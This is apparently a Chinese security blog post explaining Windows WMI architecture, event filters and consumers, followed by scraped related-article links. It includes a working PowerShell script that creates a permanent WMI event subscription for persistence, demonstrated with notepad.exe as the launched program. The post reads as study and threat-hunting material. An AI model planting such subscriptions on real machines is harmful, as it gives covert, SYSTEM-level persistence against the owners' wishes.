WMI简介和Event驻留
WMI (Windows Management Instrumentation,Windows管理规范) 从Windows 2000开始被包含于操作系统后,就一直是Windows操作系统的一部分。这项技术对于系统管理员来说具有巨大价值,因为它提供了提取所有类型信息、配置组件和基于系统数个组件的状态采取行动等方式。由于这种灵活性,且被早早地被包含于操作系统中,攻击者们便看到了它的潜力,并且已经开始滥用这项技术。
WMI 架构
WMI 使用 CIM 和 WBEM 标准以执行以下操作:
- 提供一个对象架构来描述“托管组件”
- 提供一种填充对象的方法 --- 比如:WMI提供程序
- 存储持久化对象 --- WMI/CIM存储库
- 对象查询 --- WQL(WMI Query Language)
- 传输对象数据 --- 类(class)方法、事件等
持久化 WMI 对象被保存在 WMI 存储库中:
- %SystemRoot%\System32\wbem\Repository\OBJECTS.DATA
- %SystemRoot%\System32\wbem\Repository\FS\OBJECTS.DATA
- 对于数据取证很有价值
WMI设置:
- HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM
- Win32_WmiSetting class

WMI 交互工具
- Powershell --- 内置
- wmic.exe --- 内置
- Sapien WMI Explorer --- 商业工具
- wbemtest.exe --- 内置
- winrm.exe --- 内置
- Windows 脚本宿主语言:
- VBScript
- JScript
- IWbem* COM API
- .NET System.Management classes
远程 WMI
- 远程 WMI 协议 - DCOM
- 远程 WMI 协议 - WinRM/PowerShell Remoting
WMI 事件
- WMI 可以触发任何可接收的事件,对于攻击者和防御者都很有价值
- 三个条件:
- Filter - 触发事件需要的动作
- Consumer - 事件被触发时的动作
- Binding - 注册绑定一对 Filter <--> Consumer
- 本地事件生命周期即为宿主进程的运行时间
- 永久性的 WMI 事件是持久性驻留的,并且以SYSTEM权限运行
1. WMI 事件类型
- 内部事件(Intrinsic)
- 内部事件作为系统类存在于每个命名空间
- 攻击者/防御者可以灵活地使用这些事件
- 需要在轮询间隔时间内进行捕获,使用需谨慎
- 可能会错过事件触发(因为轮询?)
__NamespaceOperationEvent __ClassCreationEvent
__NamespaceModificationEvent __InstanceOperationEvent
__NamespaceDeletionEvent __InstanceCreationEvent
__NamespaceCreationEvent __MethodInvocationEvent
__ClassOperationEvent __InstanceModificationEvent
__ClassDeletionEvent __InstanceDeletionEvent
__ClassModificationEvent __TimerEvent
__ConsumerFailureEvent __EventDroppedEvent
__EventQueueOverflowEvent __MethodInvocationEvent
- 外部事件(Extrinsic)
- 外部事件作为非系统类可被立即触发
- 不会错过事件的触发
- 通常不包含太多信息
ROOT\CIMV2:Win32_ComputerShutdownEvent
ROOT\CIMV2:Win32_IP4RouteTableEvent
ROOT\CIMV2:Win32_ProcessStartTrace
ROOT\CIMV2:Win32_ModuleLoadTrace
ROOT\CIMV2:Win32_ThreadStartTrace
ROOT\CIMV2:Win32_VolumeChangeEvent
ROOT\CIMV2:Msft_WmiProvider*
ROOT\DEFAULT:RegistryKeyChangeEvent
ROOT\DEFAULT:RegistryValueChangeEvent
... ...
2. WMI 事件 - Filters
- 被触发事件的定义
- WMI查询语句的形式来指定
- 注意性能消耗
- 内部事件查询(由于轮询方式,需要使用 WITHIN 子句指定轮询间隔)
- SELECT * FROM __InstanceOperationEvent WITHIN 30 WHERE
((__CLASS = "__InstanceCreationEvent" OR __CLASS = "__InstanceModificationEvent") AND TargetInstance ISA "CIM_DataFile") AND (TargetInstance.Extension = "doc") OR (TargetInstance.Extension = "docx") --- 每隔30秒查询一次后缀为"doc"和"docx"的文件操作
- SELECT * FROM __InstanceOperationEvent WITHIN 30 WHERE
- 外部事件查询(等效于实时)
- SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2 --- 可移动设备(EventType=2)插拔
3. WMI 事件 - Consumers
事件触发时执行该动作
标准的事件消费者:
- LogFileEventConsumer
- ActiveScriptEventConsumer
- NTEventLogEventConsumer
- SMTPEventConsumer
- CommandLineEventConsumer
- ScriptingStandardConsumerSetting
具体参见:https://docs.microsoft.com/en-us/windows/win32/wmisdk/standard-consumer-classes
出现在下列命名空间中:
- ROOT\CIMV2
- ROOT\DEFAULT
- ROOT\subscription
WMI 攻击
WMI 脚本宿主进程:%SystemRoot%\system32\wbem\scrcons.exe
这里只测试以下持久化驻留。
最终效果是:系统启动后200至300秒间,相应事件每隔60秒进行一次的轮询触发,则执行notepad.exe。
$filterName = "testFilter"
$consumerName = 'testComsumer'
$binpath = 'C:\windows\system32\notepad.exe'
$query = "select * from __InstanceModificationEvent within 60 where TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 200 AND TargetInstance.SystemUptime < 300"
# 创建Filter
$wmiEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$query} -ErrorAction Stop
# 创建Consumer
$wmiEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -NameSpace "root\subscription" -Arguments @{Name=$consumerName;CommandLineTemplate=$binpath}
# 绑定Filter和COnsumer
Set-WmiInstance -Class __FilterToConsumerBinding -NameSpace "root\subscription" -Arguments @{Filter=$wmiEventFilter;Consumer=$wmiEventConsumer}


参考:
https://www.darkoperator.com/blog/2017/10/14/basics-of-tracking-wmi-activity
https://pentestlab.blog/2020/01/21/persistence-wmi-event-subscription/
https://threathunterplaybook.com/notebooks/windows/03_persistence/WIN-190810170510.html
WMI简介和Event驻留的更多相关文章
- C#中操作WMI的类库-实现远程登录共享
WMI是Windows Management Instrumentation的简称,即:视窗管理规范.在Windows 2000或以后的版本中均安装得有,NT4.0则需要安装WMI的核心组件.通过WM ...
- WMI使用集锦
转载:http://singlepine.cnblogs.com/articles/299457.html 1.WMI简介 WMI是英文Windows Management Instrumentati ...
- Chrome插件Visual Event查看Dom元素绑定事件的利器
找这工具找了好久,统一找着了,开发人员不可多得的好东东,收藏做一下分享. 用Chrome插件Visual Event查看Dom绑定的事件 Visual Event简介 Visual Event是一个开 ...
- Visual Event :快速查看 DOM 上绑定的 JS 事件
http://web.jobbole.com/82503/ Javascript中的事件经常被认为如谜一般不可解.Javascript是一个事件驱动的语言,在这样的前提下前面的看法是很奇怪,但是说到它 ...
- PTH的几种食用姿势
PTH PTH(pass the hash)也叫做hash传递.在内网渗透中是一种很经典的攻击方式,原理就是攻击者可以直接通过NTLM Hash(mimikatz或其他手段抓取到的密码hash)访问远 ...
- C# 查询Windows Service 信息 ,所在目录 启动状态
1.WMI简介WMI是英文Windows Management Instrumentation的简写,它的功能主要是:访问本地主机的一些信息和服务,可以管理远程计算机(当然你必须要拥有足够的权限),比 ...
- js 大厦之JavaScript事件
1.js事件简介 事件(Event) 是 JavaScript 应用跳动的心脏 ,进行交互,使网页动起来.也是把所有东西粘在一起的胶水.当我们与浏览器中 Web 页面进行某些类型的交互时,事件就发生了 ...
- React 从入门到进阶之路(六)
之前的文章我们介绍了 React 表单事件 键盘事件 事件对象以及 React中 的 ref 获取 dom 节点 .双向数据绑定.接下来我们将介绍 React 表单详解 约束性和非约束性组件 inpu ...
- Flink实战(七) - Time & Windows编程
0 相关源码 掌握Flink中三种常用的Time处理方式,掌握Flink中滚动窗口以及滑动窗口的使用,了解Flink中的watermark. Flink 在流处理工程中支持不同的时间概念. 1 处理时 ...
随机推荐
- Servlet初级学习加入数据库操作(三)
源代码地址(访问密码:7567):https://url56.ctfile.com/f/34653256-527822631-2e255a CRUD 增删改查 准备添加的操作 点击添加之后,出现新的页 ...
- LINUX学习-PHP安装
一.安装环境 操作系统CentOS6.8 关闭SeLinux和iptables防火墙 二.网络yum源 将下面的软件下载到 /etc/yum.repos.d/ 的目录下 官方基础:http:// ...
- Could not find resource mybatis.xml 找不到mybatis主配置文件的三种解决方式
第一种:先清除target目录 再重新compile编译 第二种:让idea重构项目 第三种 :手动添加到target目录下的classes包下
- nefu120梅森素数
#include<iostream> #include<cstdio> using namespace std; typedef long long ll; const int ...
- hyperf 如何对AMQP消息进行手动消费?
转发自白狼栈:查看原文 在使用 hyperf 官方自带的 AMQP 队列时你会发现,不需要我们再额外启动进程对消息进行消费.这是因为默认情况下,使用 @Consumer 注解时,hyperf 会为我们 ...
- HDU 2099 整除的尾数(枚举 & 暴搜)
原题链接:http://acm.hdu.edu.cn/showproblem.php?pid=2099 思路分析:这道题的解法可以说是相当暴力了,但也有一些小坑,以下几点萌新们值得留意一下: 1. 仔 ...
- CSS快速入门(三)
目录 字体相关调整 背景相关调整 控制背景平铺 调整背景图像的大小 边框属性 圆与圆角 盒模型 块级盒子(Block box) 和 内联盒子(Inline box) display属性 盒子模型 盒模 ...
- 学习OAuth 2.0
认识OAuth 2.0 OAuth 2.0 是行业标准的授权协议. OAuth 2.0 专注于客户端开发人员的简单性,同时为 Web 应用程序.桌面应用程序.移动设备提供特定的授权流程. 应用场景 有 ...
- linux中三剑客之一grep命令
目录 一:grep语法格式: 二:参数: 三:正则表达式 1.linux正则表达式 2.普通正则表达式 四:正则与grep实战案例实战: grep简介: linux 三剑客之一,文本过滤器(根据文本内 ...
- python02day
回顾 1.编译型和解释型 编译型:一次性编译成二进制,再执行 执行效率高,但不能跨平台,开发效率低 代表语言:C 解释型:逐行解释成二进制,再执行 可以跨平台,开发效率高,但执行效率低 代表语言:py ...